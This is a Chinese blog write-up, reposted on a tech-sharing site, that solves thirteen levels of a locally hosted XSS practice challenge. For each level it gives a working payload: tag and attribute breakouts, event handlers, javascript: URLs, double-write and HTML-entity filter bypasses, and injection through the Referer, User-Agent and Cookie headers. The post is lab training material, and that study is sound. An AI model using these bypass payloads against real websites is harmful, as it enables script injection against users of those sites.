ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

XssChallenge挑战1—13关

2020-08-06 18:01:00  阅读:692  来源: 互联网

标签:13 网页 挑战 过滤 alert &# 提交 XssChallenge 源代码


0x01 环境说明

测试环境为搭建了phpStudy2016的Windows8主机,将网站压缩包解压到phpStudy对应安装路径下的www目录

挑战关卡以网页形式展现,对当前页面成功进行XSS攻击后便会跳转到下一关


0x02 解题过程

1

第一关比较简单,网页没有可输入的地方,但是地址栏出现了参数name,直接在地址构造JS代码

<script><alert(/hello/)</script>


2

第二关出现了文本输入框,于是考虑将input标签进行闭合,再插入JS代码

"><script>alert(/hello/)</script>



3

第三关的形式和第二关一样,我们输入一段验证代码看看它是否有过滤规则

<sCr<scrscRiptipt>ipt>OonN\'\"<>


通过查看源代码发现,value值的闭合并非是在查看器里显示的双引号 “ ”而是单引号‘ ’


而且“和>被转化成了html实体编码,payload无法逃出input标签,所以考虑采用事件驱动

test' onm ouseover='alert(/xss/)"


4

拿代码<sCript>OonN'"<>测试过滤规则


通过查看网页源代码,发现value是通过双引号闭合,感觉和上一关的方式差不多

test" onkeydown="alert(/xss/)"


5

通过测试代码发现当前页面对提交的数据大小写不敏感,但是会过滤on和“<script>”


标签<script>被过滤,考虑使用javascript伪协议

test"><a href="javascript:alert(/xss/)">123</a>


6

用测试代码测试一下,发现依旧对标签关键字有过滤


但是对大小写不敏感,用上一题的答案修改一下

test"><a hRef="javascript:alert(/xss/)">123</a>


7

通过测试代码发现,对script和on关键字有过滤


但是好像只进行一次过滤,因此考虑使用双写绕过

"><scrscriptipt>alert(/xss/)</scrscriptipt>


8

第八关出现了链接文字,在输入框提交数据后便会将提交内容作为文字的链接,但是会对关键字进行过滤


此时考虑将伪协议进行转码

j&#97;vas&#x63;ript:alert(/xss/)


9

将测试代码和上一关的代码进行提交,悬停链接文字时发现会提示为链接不合法


考虑到网页的url都是以http/https开头,因此尝试在代码中进行加入。


但是直接将http://加入到代码前面会使代码失效,猜测所需要的并非是一个真正有效的链接地址,尝试将http://加入到alert的()中,或者以注释的形式添加到代码后面

j&#97;vas&#x63;ript:alert('http://')
j&#97;vas&#x63;ript:alert(/xss/)//http://
j&#97;vas&#x63;ript:alert(/xss/)/*http://*/



10

第十关的页面上没有任何可以输入或者点击的地方,观察到地址栏有一个参数keyword,尝试在地址栏输入测试代码,但是页面仍然没有任何改变


查看网页源代码,发现keyword内容中的<> "被转换成了HTML实体编码。但同时还发现了三个隐藏的输入框,参数分别为t_link,t_history,t_sort.


向这些参数逐个尝试提交JS代码,发现无论向t_link和t_history提交任何数据都不会有变化,但是向t_sort提交数据时可以执行payload

?t_sort=" type="text" onm ouseover="alert()"
?t_sort=" type="text" onfocus="alert()" autofocus


11

直接查看网页源代码,发现和上一关相比多了一个r_ref参数,并且value值里面的值为通过上一关时的URL


除了t_sort参数可以收到提交的数据以外,其他三个参数无论提交什么都不会接收。但是提交给t_sort的数据会进行过滤


考虑使用BP进行抓包改包,从r_ref的默认value值为上一个网页的URL得到提示,尝试修改请求包中的Referer字段

Referer:" type="button" onclick="alert()"



12

先查看源代码,发现参数t_ua的value里的值是浏览器的指纹信息


祭出BP,修改请求包中的User-Agent字段的内容

" type="button" onm ouseover="alert()"



13

先看网页源代码,发现了一个新参数t_cook。虽然value中没有信息,但猜测应该是浏览器中的Cookie信息


用BP修改请求包中的Cookie字段的内容

user=" type="text" onkeyup="alert()"

posted on 2020-08-06 17:59  黎夜  阅读(0)  评论(0)  编辑  收藏 刷新评论刷新页面返回顶部

标签:13,网页,挑战,过滤,alert,&#,提交,XssChallenge,源代码
来源: https://www.cnblogs.com/cradle-q0518/p/13447921.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有